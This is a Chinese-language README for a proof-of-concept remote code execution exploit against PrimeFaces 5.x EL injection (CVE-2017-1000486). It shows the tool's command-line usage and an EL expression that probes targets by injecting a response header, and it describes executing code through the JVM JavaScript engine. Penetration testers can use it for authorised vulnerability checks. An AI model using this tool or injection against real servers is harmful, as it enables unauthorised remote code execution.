
Proof of Concept Exploit for PrimeFaces 5.x EL Injection (CVE-2017-1000486)
PrimeFaces 5.x EL表达式注入(CVE-2017-1000486)的概念验证利用工具,可用于在目标上实现远程代码执行。
你可以在 Minded Security 博客 上找到关于该漏洞的精彩描述。
该利用工具提供了一个帮助函数,可打印所有重要参数:
./primefaces.py --help
PrimeFaces 5.x EL injection exploit (CVE-2017-1000486) by MOGWAI LABS
=====================================================================
usage: primefaces.py [-h] [-t] [-e EXTENSION] url [payload]
PrimeFaces 5.x EL injection exploit
positional arguments:
url The target URL (http/https)
payload File with the JavaScript (Rino/Nashorn) code to
execute or OS command
optional arguments:
-h, --help show this help message and exit
-t, --test Test mode (off by default)
-e EXTENSION, --extension EXTENSION
Extension of the target (xhtml, jsf)
该利用工具提供了一个简单的测试模式(-t 参数),可用于验证目标是否确实存在漏洞。测试方式如下:向目标发送以下 EL 表达式,该表达式会在 HTTP 响应中添加一个额外的头部字段,然后利用工具会检查该头部:
${facesContext.getExternalContext().setResponseHeader("MOGWAILABS","CHKCHK")}
实际利用是通过调用 Java 虚拟机自带的 JavaScript 解释器来实现的。这样可以从 JavaScript 执行任意 Java 代码。
利用工具提供了两个示例 payload:
请注意,这些示例均不会为你提供命令的输出结果。